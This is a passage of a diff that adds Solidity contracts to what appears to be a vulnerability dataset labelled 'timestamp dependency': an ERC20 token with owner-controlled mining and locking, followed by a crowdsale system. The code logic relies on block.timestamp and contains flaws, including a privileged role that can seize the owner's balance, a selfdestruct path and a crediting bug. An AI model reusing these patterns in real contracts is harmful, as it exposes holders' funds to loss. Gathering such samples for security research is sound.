IndexValue { uint keyIndex; uint256 value; } + struct KeyFlag { address key; bool deleted; } + function insert(itmap storage self, address key, uint256 value) returns (bool replaced) + { + uint keyIndex = self.data[key].keyIndex; + self.data[key].value = value; + if (keyIndex > 0) + return true; + else + { + keyIndex = self.keys.length++; + self.data[key].keyIndex = keyIndex + 1; + self.keys[keyIndex].key = key; + self.size++; + return false; + } + } + function remove(itmap storage self, address key) returns (bool success) + { + uint keyIndex = self.data[key].keyIndex; + if (keyIndex == 0) + return false; + delete self.data[key]; + self.keys[keyIndex - 1].deleted = true; + self.size --; + } + function contains(itmap storage self, address key) returns (bool) + { + return self.data[key].keyIndex > 0; + } + function iterate_start(itmap storage self) returns (uint keyIndex) + { + return iterate_next(self, uint(-1)); + } + function iterate_valid(itmap storage self, uint keyIndex) returns (bool) + { + return keyIndex < self.keys.length; + } + function iterate_next(itmap storage self, uint keyIndex) returns (uint r_keyIndex) + { + keyIndex++; + while (keyIndex < self.keys.length && self.keys[keyIndex].deleted) + keyIndex++; + return keyIndex; + } + function iterate_get(itmap storage self, uint keyIndex) returns (address key, uint256 value) + { + key = self.keys[keyIndex].key; + value = self.data[key].value; + } +} + + + +contract ExhibationLinkingCoin is ERC20Interface { + + + function totalSupply()public constant returns (uint) { + return totalEXLCSupply; + } + + function balanceOf(address tokenOwner)public constant returns (uint balance) { + return balances[tokenOwner]; + } + + function transfer(address to, uint tokens)public returns (bool success) { + if (balances[msg.sender] >= tokens && tokens > 0 && balances[to] + tokens > balances[to]) { + if(lockedUsers[msg.sender].lockedTokens > 0){ + TryUnLockBalance(msg.sender); + if(balances[msg.sender] - tokens < lockedUsers[msg.sender].lockedTokens) + { + return false; + } + } + + balances[msg.sender] -= tokens; + balances[to] += tokens; + emit Transfer(msg.sender, to, tokens); + return true; + } else { + return false; + } + } + + + function transferFrom(address from, address to, uint tokens)public returns (bool success) { + if (balances[from] >= tokens && allowed[from].data[to].value >= tokens && tokens > 0 && balances[to] + tokens > balances[to]) { + if(lockedUsers[from].lockedTokens > 0) + { + TryUnLockBalance(from); + if(balances[from] - tokens < lockedUsers[from].lockedTokens) + { + return false; + } + } + + balances[from] -= tokens; + allowed[from].data[msg.sender].value -= tokens; + balances[to] += tokens; + return true; + } else { + return false; + } + } + + + function approve(address spender, uint tokens)public returns (bool success) { + IterableMapping.insert(allowed[msg.sender], spender, tokens); + return true; + } + + function allowance(address tokenOwner, address spender)public constant returns (uint remaining) { + return allowed[tokenOwner].data[spender].value; + } + + + string public name = "ExhibationLinkingCoin"; + string public symbol = "EXLC"; + uint8 public decimals = 18; + uint256 private totalEXLCSupply = 10000000000000000000000000000; + uint256 private _totalBalance = totalEXLCSupply; + + struct LockUser{ + uint256 lockedTokens; + uint lockedTime; + uint lockedIdx; + } + + + address public owner = 0x0; + address public auther_user = 0x0; + address public operater = 0x0; + + mapping (address => uint256) balances; + mapping(address => IterableMapping.itmap) allowed; + + mapping(address => LockUser) lockedUsers; + + + uint constant private ONE_DAY_TIME_LEN = 86400; + uint constant private ONE_YEAR_TIME_LEN = 946080000; + uint32 private constant MAX_UINT32 = 0xFFFFFFFF; + + + uint256 public creatorsTotalBalance = 1130000000000000000000000000; + uint256 public jiGouTotalBalance = 1000000000000000000000000000; + uint256 public icoTotalBalance = 1000000000000000000000000000; + uint256 public mineTotalBalance = 2000000000000000000000000000; + uint256 public marketorsTotalBalance = 685000000000000000000000000; + uint256 public businessersTotalBalance = 685000000000000000000000000; + uint256 public taskTotalBalance = 3500000000000000000000000000; + + uint256 public mineBalance = 0; + + bool public isIcoStart = false; + bool public isIcoFinished = false; + uint256 public icoPrice = 500000000000000000000000; + + + + uint256[] public mineBalanceArry = new uint256[](30); + uint public lastUnlockMineBalanceTime = 0; + uint public dayIdx = 0; + + event SendTo(uint32 indexed _idx, uint8 indexed _type, address _from, address _to, uint256 _value); + + uint32 sendToIdx = 0; + + function safeToNextIdx() internal{ + if (sendToIdx >= MAX_UINT32){ + sendToIdx = 1; + } + else{ + sendToIdx += 1; + } + } + + constructor() public { + owner = msg.sender; + mineBalanceArry[0] = 1000000000000000000000000; + for(uint i=1; i<30; i++){ + mineBalanceArry[i] = mineBalanceArry[i-1] * 99 / 100; + } + mineBalance = taskTotalBalance; + balances[owner] = mineBalance; + lastUnlockMineBalanceTime = block.timestamp; + } + + + function StartIco() public { + if ((msg.sender != operater && msg.sender != auther_user && msg.sender != owner) || isIcoStart) + { + revert(); + } + + isIcoStart = true; + isIcoFinished = false; + } + + function StopIco() public { + if ((msg.sender != operater && msg.sender != auther_user && msg.sender != owner) || isIcoFinished) + { + revert(); + } + + balances[owner] += icoTotalBalance; + icoTotalBalance = 0; + + isIcoStart = false; + isIcoFinished = true; + } + + function () public payable + { + uint256 coin; + + if(isIcoFinished || !isIcoStart) + { + revert(); + } + + coin = msg.value * icoPrice / 1 ether; + if(coin > icoTotalBalance) + { + revert(); + } + + icoTotalBalance -= coin; + _totalBalance -= coin; + balances[msg.sender] += coin; + + emit Transfer(operater, msg.sender, coin); + + safeToNextIdx(); + emit SendTo(sendToIdx, 2, 0x0, msg.sender, coin); + + } + + + function TryUnLockBalance(address target) public { + if(target == 0x0) + { + revert(); + } + LockUser storage user = lockedUsers[target]; + if(user.lockedIdx > 0 && user.lockedTokens > 0) + { + if(block.timestamp >= user.lockedTime) + { + if(user.lockedIdx == 1) + { + user.lockedIdx = 0; + user.lockedTokens = 0; + } + else + { + uint256 append = user.lockedTokens/user.lockedIdx; + user.lockedTokens -= append; + user.lockedIdx--; + user.lockedTime = block.timestamp + ONE_YEAR_TIME_LEN; + lockedUsers[target] = user; + } + } + } + + } + + function QueryUnlockTime(address target) public constant returns (uint time) { + if(target == 0x0) + { + revert(); + } + LockUser storage user = lockedUsers[target]; + if(user.lockedIdx > 0 && user.lockedTokens > 0) + { + return user.lockedTime; + } + return 0x0; + } + + + function miningEveryDay() public{ + if (msg.sender != operater && msg.sender != auther_user && msg.sender != owner) + { + revert(); + } + uint day = uint((block.timestamp - lastUnlockMineBalanceTime) / ONE_DAY_TIME_LEN); + if(day > 0){ + int max_while = 30; + uint256 val; + while(day > 0 && max_while > 0 && mineTotalBalance > 0){ + max_while--; + day -= 1; + dayIdx += 1; + val = mineBalanceArry[(dayIdx/365) % 30]; + if(mineTotalBalance >= val) + { + mineBalance += val; + mineTotalBalance -= val; + balances[owner] += val; + } + else + { + mineBalance += mineTotalBalance; + mineTotalBalance = 0; + balances[owner] += mineTotalBalance; + break; + } + } + lastUnlockMineBalanceTime = block.timestamp; + } + } + + + function sendMinerByOwner(address _to, uint256 _value) public { + + if (msg.sender != operater && msg.sender != auther_user && msg.sender != owner) + { + revert(); + } + + if(_to == 0x0){ + revert(); + } + + + if(_value > mineBalance){ + revert(); + } + + + mineBalance -= _value; + balances[owner] -= _value; + balances[_to] += _value; + _totalBalance -= _value; + + emit Transfer(msg.sender, _to, _value); + + safeToNextIdx(); + emit SendTo(sendToIdx, 3, owner, _to, _value); + } + + function sendICOByOwner(address _to, uint256 _value) public { + if (msg.sender != operater && msg.sender != owner && msg.sender != auther_user) + { + revert(); + } + + if(_to == 0x0){ + revert(); + } + + if(!isIcoFinished && isIcoStart) + { + revert(); + } + + if(_value > icoTotalBalance){ + revert(); + } + + icoTotalBalance -= _value; + _totalBalance -= _value; + balances[_to] += _value; + + emit Transfer(msg.sender, _to, _value); + + safeToNextIdx(); + emit SendTo(sendToIdx, 6, 0x0, _to, _value); + + } + + function sendCreatorByOwner(address _to, uint256 _value) public { + if (msg.sender != operater && msg.sender != owner && msg.sender != auther_user) + { + revert(); + } + + if(_to == 0x0){ + revert(); + } + + if(_value > creatorsTotalBalance){ + revert(); + } + + + creatorsTotalBalance -= _value; + _totalBalance -= _value; + balances[_to] += _value; + LockUser storage lockUser = lockedUsers[_to]; + lockUser.lockedTime = block.timestamp + ONE_YEAR_TIME_LEN; + lockUser.lockedTokens += _value; + lockUser.lockedIdx = 2; + + lockedUsers[_to] = lockUser; + + emit Transfer(msg.sender, _to, _value); + + safeToNextIdx(); + emit SendTo(sendToIdx, 4, 0x0, _to, _value); + } + + function sendJigouByOwner(address _to, uint256 _value) public { + if (msg.sender != operater && msg.sender != owner && msg.sender != auther_user) + { + revert(); + } + + if(_to == 0x0){ + revert(); + } + + if(_value > jiGouTotalBalance){ + revert(); + } + + + jiGouTotalBalance -= _value; + _totalBalance -= _value; + balances[_to] += _value; + LockUser storage lockUser = lockedUsers[_to]; + lockUser.lockedTime = block.timestamp + ONE_YEAR_TIME_LEN; + lockUser.lockedTokens += _value; + lockUser.lockedIdx = 1; + + lockedUsers[_to] = lockUser; + + emit Transfer(msg.sender, _to, _value); + + safeToNextIdx(); + emit SendTo(sendToIdx, 4, 0x0, _to, _value); + } + + function sendMarketByOwner(address _to, uint256 _value) public { + + if (msg.sender != operater && msg.sender != owner && msg.sender != auther_user) + { + revert(); + } + + if(_to == 0x0){ + revert(); + } + + if(_value > marketorsTotalBalance){ + revert(); + } + + + marketorsTotalBalance -= _value; + _totalBalance -= _value; + balances[_to] += _value; + + emit Transfer(msg.sender, _to, _value); + + safeToNextIdx(); + emit SendTo(sendToIdx, 7, 0x0, _to, _value); + } + + + function sendBussinessByOwner(address _to, uint256 _value) public { + + if (msg.sender != operater && msg.sender != owner && msg.sender != auther_user) + { + revert(); + } + + if(_to == 0x0){ + revert(); + } + + if(_value > businessersTotalBalance){ + revert(); + } + + + businessersTotalBalance -= _value; + _totalBalance -= _value; + balances[_to] += _value; + + emit Transfer(msg.sender, _to, _value); + + safeToNextIdx(); + emit SendTo(sendToIdx, 5, 0x0, _to, _value); + } + + function Save() public { + if (msg.sender != owner) { + revert(); + } + owner.transfer(address(this).balance); + } + + + function changeAutherOwner(address newOwner) public { + if ((msg.sender != owner && msg.sender != auther_user) || newOwner == 0x0) + { + revert(); + } + else + { + if(msg.sender != owner) + { + balances[msg.sender] = balances[owner]; + for (var i = IterableMapping.iterate_start(allowed[owner]); IterableMapping.iterate_valid(allowed[owner], i); i = IterableMapping.iterate_next(allowed[owner], i)) + { + var (key, value) = IterableMapping.iterate_get(allowed[owner], i); + IterableMapping.insert(allowed[msg.sender], key, value); + } + balances[owner] = 0; + for (var j = IterableMapping.iterate_start(allowed[owner]); IterableMapping.iterate_valid(allowed[owner], j); j = IterableMapping.iterate_next(allowed[owner], j)) + { + var (key2, value2) = IterableMapping.iterate_get(allowed[owner], j); + IterableMapping.remove(allowed[owner], key2); + } + } + + auther_user = newOwner; + owner = msg.sender; + } + } + + function destruct() public { + if (msg.sender != owner) + { + revert(); + } + else + { + selfdestruct(owner); + } + } + + function setOperater(address op) public { + if ((msg.sender != owner && msg.sender != auther_user && msg.sender != operater) || op == 0x0) + { + revert(); + } + else + { + operater = op; + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/2736.sol b/smart_contract_dataset/timestamp dependency/2736.sol new file mode 100644 index 0000000000000000000000000000000000000000..60920b225356a69e10170aad81bfa0c94bb82fe5 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/2736.sol @@ -0,0 +1,1249 @@ +pragma solidity 0.4.24; + + + +interface DisbursementHandlerI { + function withdraw(address _beneficiary, uint256 _index) external; +} + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + + +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + + + + +contract DisbursementHandler is DisbursementHandlerI, Ownable { + using SafeMath for uint256; + using SafeERC20 for ERC20; + + struct Disbursement { + + uint256 timestamp; + + + uint256 value; + } + + event Setup(address indexed _beneficiary, uint256 _timestamp, uint256 _value); + event TokensWithdrawn(address indexed _to, uint256 _value); + + ERC20 public token; + uint256 public totalAmount; + mapping(address => Disbursement[]) public disbursements; + + constructor(ERC20 _token) public { + require(_token != address(0)); + token = _token; + } + + + + + + function setupDisbursement( + address _beneficiary, + uint256 _value, + uint256 _timestamp + ) + external + onlyOwner + { + require(block.timestamp < _timestamp); + disbursements[_beneficiary].push(Disbursement(_timestamp, _value)); + totalAmount = totalAmount.add(_value); + emit Setup(_beneficiary, _timestamp, _value); + } + + + + + function withdraw(address _beneficiary, uint256 _index) + external + { + Disbursement[] storage beneficiaryDisbursements = disbursements[_beneficiary]; + require(_index < beneficiaryDisbursements.length); + + Disbursement memory disbursement = beneficiaryDisbursements[_index]; + require(disbursement.timestamp < now && disbursement.value > 0); + + + delete beneficiaryDisbursements[_index]; + + token.safeTransfer(_beneficiary, disbursement.value); + emit TokensWithdrawn(_beneficiary, disbursement.value); + } +} + + + +interface VaultI { + function deposit(address contributor) external payable; + function saleSuccessful() external; + function enableRefunds() external; + function refund(address contributor) external; + function close() external; + function sendFundsToWallet() external; +} + + + + +library Math { + function max64(uint64 a, uint64 b) internal pure returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal pure returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal pure returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal pure returns (uint256) { + return a < b ? a : b; + } +} + + + + + + +contract Vault is VaultI, Ownable { + using SafeMath for uint256; + + enum State { Active, Success, Refunding, Closed } + + + uint256 public firstDepositTimestamp; + + mapping (address => uint256) public deposited; + + + uint256 public disbursementWei; + uint256 public disbursementDuration; + + + address public trustedWallet; + + + uint256 public initialWei; + + + uint256 public nextDisbursement; + + + uint256 public totalDeposited; + + + uint256 public refundable; + + State public state; + + event Closed(); + event RefundsEnabled(); + event Refunded(address indexed contributor, uint256 amount); + + modifier atState(State _state) { + require(state == _state); + _; + } + + constructor ( + address _wallet, + uint256 _initialWei, + uint256 _disbursementWei, + uint256 _disbursementDuration + ) + public + { + require(_wallet != address(0)); + require(_disbursementWei != 0); + trustedWallet = _wallet; + initialWei = _initialWei; + disbursementWei = _disbursementWei; + disbursementDuration = _disbursementDuration; + state = State.Active; + } + + + function deposit(address _contributor) onlyOwner external payable { + require(state == State.Active || state == State.Success); + if (firstDepositTimestamp == 0) { + firstDepositTimestamp = now; + } + totalDeposited = totalDeposited.add(msg.value); + deposited[_contributor] = deposited[_contributor].add(msg.value); + } + + + function saleSuccessful() + onlyOwner + external + atState(State.Active) + { + state = State.Success; + transferToWallet(initialWei); + } + + + function enableRefunds() onlyOwner external { + require(state != State.Refunding); + state = State.Refunding; + uint256 currentBalance = address(this).balance; + refundable = currentBalance <= totalDeposited ? currentBalance : totalDeposited; + emit RefundsEnabled(); + } + + + function refund(address _contributor) external atState(State.Refunding) { + require(deposited[_contributor] > 0); + uint256 refundAmount = deposited[_contributor].mul(refundable).div(totalDeposited); + deposited[_contributor] = 0; + _contributor.transfer(refundAmount); + emit Refunded(_contributor, refundAmount); + } + + + function close() external atState(State.Success) onlyOwner { + state = State.Closed; + nextDisbursement = now; + emit Closed(); + } + + + function sendFundsToWallet() external atState(State.Closed) { + require(nextDisbursement <= now); + + if (disbursementDuration == 0) { + trustedWallet.transfer(address(this).balance); + return; + } + + uint256 numberOfDisbursements = now.sub(nextDisbursement).div(disbursementDuration).add(1); + + nextDisbursement = nextDisbursement.add(disbursementDuration.mul(numberOfDisbursements)); + + transferToWallet(disbursementWei.mul(numberOfDisbursements)); + } + + function transferToWallet(uint256 _amount) internal { + uint256 amountToSend = Math.min256(_amount, address(this).balance); + trustedWallet.transfer(amountToSend); + } +} + + + +interface WhitelistableI { + function changeAdmin(address _admin) external; + function invalidateHash(bytes32 _hash) external; + function invalidateHashes(bytes32[] _hashes) external; +} + + + + + +library ECRecovery { + + + function recover(bytes32 hash, bytes sig) + internal + pure + returns (address) + { + bytes32 r; + bytes32 s; + uint8 v; + + + if (sig.length != 65) { + return (address(0)); + } + + + + + + assembly { + r := mload(add(sig, 32)) + s := mload(add(sig, 64)) + v := byte(0, mload(add(sig, 96))) + } + + + if (v < 27) { + v += 27; + } + + + if (v != 27 && v != 28) { + return (address(0)); + } else { + + return ecrecover(hash, v, r, s); + } + } + + + function toEthSignedMessageHash(bytes32 hash) + internal + pure + returns (bytes32) + { + + + return keccak256( + "\x19Ethereum Signed Message:\n32", + hash + ); + } +} + + + + +contract Whitelistable is WhitelistableI, Ownable { + using ECRecovery for bytes32; + + address public whitelistAdmin; + + + mapping(bytes32 => bool) public invalidHash; + + event AdminUpdated(address indexed newAdmin); + + modifier validAdmin(address _admin) { + require(_admin != 0); + _; + } + + modifier onlyAdmin { + require(msg.sender == whitelistAdmin); + _; + } + + modifier isWhitelisted(bytes32 _hash, bytes _sig) { + require(checkWhitelisted(_hash, _sig)); + _; + } + + + + constructor(address _admin) public validAdmin(_admin) { + whitelistAdmin = _admin; + } + + + + + function changeAdmin(address _admin) + external + onlyOwner + validAdmin(_admin) + { + emit AdminUpdated(_admin); + whitelistAdmin = _admin; + } + + + + function invalidateHash(bytes32 _hash) external onlyAdmin { + invalidHash[_hash] = true; + } + + function invalidateHashes(bytes32[] _hashes) external onlyAdmin { + for (uint i = 0; i < _hashes.length; i++) { + invalidHash[_hashes[i]] = true; + } + } + + + + + + function checkWhitelisted( + bytes32 _rawHash, + bytes _sig + ) + public + view + returns(bool) + { + bytes32 hash = _rawHash.toEthSignedMessageHash(); + return !invalidHash[_rawHash] && whitelistAdmin == hash.recover(_sig); + } +} + + + +interface EthPriceFeedI { + function getUnit() external view returns(string); + function getRate() external view returns(uint256); + function getLastTimeUpdated() external view returns(uint256); +} + + + +interface SaleI { + function setup() external; + function changeEthPriceFeed(EthPriceFeedI newPriceFeed) external; + function contribute(address _contributor, uint256 _limit, uint256 _expiration, bytes _sig) external payable; + function allocateExtraTokens(address _contributor) external; + function setEndTime(uint256 _endTime) external; + function endSale() external; +} + + + +contract StateMachine { + + struct State { + bytes32 nextStateId; + mapping(bytes4 => bool) allowedFunctions; + function() internal[] transitionCallbacks; + function(bytes32) internal returns(bool)[] startConditions; + } + + mapping(bytes32 => State) states; + + + bytes32 private currentStateId; + + event Transition(bytes32 stateId, uint256 blockNumber); + + + modifier checkAllowed { + conditionalTransitions(); + require(states[currentStateId].allowedFunctions[msg.sig]); + _; + } + + + + function conditionalTransitions() public { + bool checkNextState; + do { + checkNextState = false; + + bytes32 next = states[currentStateId].nextStateId; + + + for (uint256 i = 0; i < states[next].startConditions.length; i++) { + if (states[next].startConditions[i](next)) { + goToNextState(); + checkNextState = true; + break; + } + } + } while (checkNextState); + } + + function getCurrentStateId() view public returns(bytes32) { + return currentStateId; + } + + + + function setStates(bytes32[] _stateIds) internal { + require(_stateIds.length > 0); + require(currentStateId == 0); + + require(_stateIds[0] != 0); + + currentStateId = _stateIds[0]; + + for (uint256 i = 1; i < _stateIds.length; i++) { + require(_stateIds[i] != 0); + + states[_stateIds[i - 1]].nextStateId = _stateIds[i]; + + + require(states[_stateIds[i]].nextStateId == 0); + } + } + + + + + function allowFunction(bytes32 _stateId, bytes4 _functionSelector) + internal + { + states[_stateId].allowedFunctions[_functionSelector] = true; + } + + + function goToNextState() internal { + bytes32 next = states[currentStateId].nextStateId; + require(next != 0); + + currentStateId = next; + for (uint256 i = 0; i < states[next].transitionCallbacks.length; i++) { + states[next].transitionCallbacks[i](); + } + + emit Transition(next, block.number); + } + + + + + + + + + + + + function addStartCondition( + bytes32 _stateId, + function(bytes32) internal returns(bool) _condition + ) + internal + { + states[_stateId].startConditions.push(_condition); + } + + + + + + + function addCallback(bytes32 _stateId, function() internal _callback) + internal + { + states[_stateId].transitionCallbacks.push(_callback); + } +} + + + + +contract TimedStateMachine is StateMachine { + + event StateStartTimeSet(bytes32 indexed _stateId, uint256 _startTime); + + + mapping(bytes32 => uint256) private startTime; + + + + function getStateStartTime(bytes32 _stateId) public view returns(uint256) { + return startTime[_stateId]; + } + + + + + + function setStateStartTime(bytes32 _stateId, uint256 _timestamp) internal { + require(block.timestamp < _timestamp); + + if (startTime[_stateId] == 0) { + addStartCondition(_stateId, hasStartTimePassed); + } + + startTime[_stateId] = _timestamp; + + emit StateStartTimeSet(_stateId, _timestamp); + } + + function hasStartTimePassed(bytes32 _stateId) internal returns(bool) { + return startTime[_stateId] <= block.timestamp; + } + +} + + + + +contract TokenControllerI { + + + + function transferAllowed(address _from, address _to) + external + view + returns (bool); +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom( + address _from, + address _to, + uint256 _value + ) + public + returns (bool) + { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance( + address _owner, + address _spender + ) + public + view + returns (uint256) + { + return allowed[_owner][_spender]; + } + + + function increaseApproval( + address _spender, + uint _addedValue + ) + public + returns (bool) + { + allowed[msg.sender][_spender] = ( + allowed[msg.sender][_spender].add(_addedValue)); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval( + address _spender, + uint _subtractedValue + ) + public + returns (bool) + { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + + +contract ControllableToken is Ownable, StandardToken { + TokenControllerI public controller; + + + modifier isAllowed(address _from, address _to) { + require(controller.transferAllowed(_from, _to)); + _; + } + + + function setController(TokenControllerI _controller) onlyOwner public { + require(_controller != address(0)); + controller = _controller; + } + + + + function transfer(address _to, uint256 _value) + isAllowed(msg.sender, _to) + public + returns (bool) + { + return super.transfer(_to, _value); + } + + + + function transferFrom(address _from, address _to, uint256 _value) + isAllowed(_from, _to) + public + returns (bool) + { + return super.transferFrom(_from, _to, _value); + } +} + + + + +contract DetailedERC20 is ERC20 { + string public name; + string public symbol; + uint8 public decimals; + + constructor(string _name, string _symbol, uint8 _decimals) public { + name = _name; + symbol = _symbol; + decimals = _decimals; + } +} + + + + +contract Token is ControllableToken, DetailedERC20 { + + + constructor( + uint256 _supply, + string _name, + string _symbol, + uint8 _decimals + ) DetailedERC20(_name, _symbol, _decimals) public { + require(_supply != 0); + totalSupply_ = _supply; + balances[msg.sender] = _supply; + emit Transfer(address(0), msg.sender, _supply); + } +} + + + + +contract Sale is SaleI, Ownable, Whitelistable, TimedStateMachine, TokenControllerI { + using SafeMath for uint256; + using SafeERC20 for Token; + + + bytes32 private constant SETUP = "setup"; + bytes32 private constant FREEZE = "freeze"; + bytes32 private constant SALE_IN_PROGRESS = "saleInProgress"; + bytes32 private constant SALE_ENDED = "saleEnded"; + + bytes32[] public states = [SETUP, FREEZE, SALE_IN_PROGRESS, SALE_ENDED]; + + + mapping(address => uint256) public unitContributions; + + + mapping(address => bool) public extraTokensAllocated; + + DisbursementHandler public disbursementHandler; + + uint256 public totalContributedUnits = 0; + uint256 public totalSaleCapUnits; + uint256 public minContributionUnits; + uint256 public minThresholdUnits; + + + uint256 public saleTokensPerUnit; + + uint256 public extraTokensPerUnit; + + uint256 public tokensForSale; + + Token public trustedToken; + Vault public trustedVault; + EthPriceFeedI public ethPriceFeed; + + event Contribution( + address indexed contributor, + address indexed sender, + uint256 valueUnit, + uint256 valueWei, + uint256 excessWei, + uint256 weiPerUnitRate + ); + + event EthPriceFeedChanged(address previousEthPriceFeed, address newEthPriceFeed); + + event TokensAllocated(address indexed contributor, uint256 tokenAmount); + + constructor ( + uint256 _totalSaleCapUnits, + uint256 _minContributionUnits, + uint256 _minThresholdUnits, + uint256 _maxTokens, + address _whitelistAdmin, + address _wallet, + uint256 _vaultInitialDisburseWei, + uint256 _vaultDisbursementWei, + uint256 _vaultDisbursementDuration, + uint256 _startTime, + string _tokenName, + string _tokenSymbol, + uint8 _tokenDecimals, + EthPriceFeedI _ethPriceFeed + ) + Whitelistable(_whitelistAdmin) + public + { + require(_totalSaleCapUnits != 0); + require(_maxTokens != 0); + require(_wallet != 0); + require(_minThresholdUnits <= _totalSaleCapUnits); + require(_ethPriceFeed != address(0)); + require(now < _startTime); + + totalSaleCapUnits = _totalSaleCapUnits; + minContributionUnits = _minContributionUnits; + minThresholdUnits = _minThresholdUnits; + + + trustedToken = new Token( + _maxTokens, + _tokenName, + _tokenSymbol, + _tokenDecimals + ); + + disbursementHandler = new DisbursementHandler(trustedToken); + + ethPriceFeed = _ethPriceFeed; + + + trustedToken.setController(this); + + trustedVault = new Vault( + _wallet, + _vaultInitialDisburseWei, + _vaultDisbursementWei, + _vaultDisbursementDuration + ); + + + setStates(states); + + + allowFunction(SETUP, this.setup.selector); + allowFunction(FREEZE, this.setEndTime.selector); + allowFunction(SALE_IN_PROGRESS, this.setEndTime.selector); + allowFunction(SALE_IN_PROGRESS, this.contribute.selector); + allowFunction(SALE_IN_PROGRESS, this.endSale.selector); + allowFunction(SALE_ENDED, this.allocateExtraTokens.selector); + + + addStartCondition(SALE_ENDED, wasCapReached); + + + setStateStartTime(SALE_IN_PROGRESS, _startTime); + + + addCallback(SALE_ENDED, onSaleEnded); + + } + + + + function setup() external onlyOwner checkAllowed { + trustedToken.safeTransfer(disbursementHandler, disbursementHandler.totalAmount()); + + tokensForSale = trustedToken.balanceOf(this); + require(tokensForSale >= totalSaleCapUnits); + + + + saleTokensPerUnit = tokensForSale.div(totalSaleCapUnits); + + + goToNextState(); + } + + + function changeEthPriceFeed(EthPriceFeedI _ethPriceFeed) external onlyOwner { + require(_ethPriceFeed != address(0)); + emit EthPriceFeedChanged(ethPriceFeed, _ethPriceFeed); + ethPriceFeed = _ethPriceFeed; + } + + + function contribute( + address _contributor, + uint256 _contributionLimitUnits, + uint256 _payloadExpiration, + bytes _sig + ) + external + payable + checkAllowed + isWhitelisted(keccak256( + abi.encodePacked( + _contributor, + _contributionLimitUnits, + _payloadExpiration + ) + ), _sig) + { + require(msg.sender == _contributor); + require(now < _payloadExpiration); + + uint256 weiPerUnitRate = ethPriceFeed.getRate(); + require(weiPerUnitRate != 0); + + uint256 previouslyContributedUnits = unitContributions[_contributor]; + + + uint256 currentContributionUnits = min256( + _contributionLimitUnits.sub(previouslyContributedUnits), + totalSaleCapUnits.sub(totalContributedUnits), + msg.value.div(weiPerUnitRate) + ); + + require(currentContributionUnits != 0); + + + require(currentContributionUnits >= minContributionUnits || previouslyContributedUnits != 0); + + + unitContributions[_contributor] = previouslyContributedUnits.add(currentContributionUnits); + totalContributedUnits = totalContributedUnits.add(currentContributionUnits); + + uint256 currentContributionWei = currentContributionUnits.mul(weiPerUnitRate); + trustedVault.deposit.value(currentContributionWei)(msg.sender); + + + if (totalContributedUnits >= minThresholdUnits && + trustedVault.state() != Vault.State.Success) { + trustedVault.saleSuccessful(); + } + + + uint256 excessWei = msg.value.sub(currentContributionWei); + if (excessWei > 0) { + msg.sender.transfer(excessWei); + } + + emit Contribution( + _contributor, + msg.sender, + currentContributionUnits, + currentContributionWei, + excessWei, + weiPerUnitRate + ); + + + uint256 tokenAmount = currentContributionUnits.mul(saleTokensPerUnit); + trustedToken.safeTransfer(_contributor, tokenAmount); + emit TokensAllocated(_contributor, tokenAmount); + } + + + + function allocateExtraTokens(address _contributor) + external + checkAllowed + { + require(!extraTokensAllocated[_contributor]); + require(unitContributions[_contributor] != 0); + + require(totalContributedUnits < 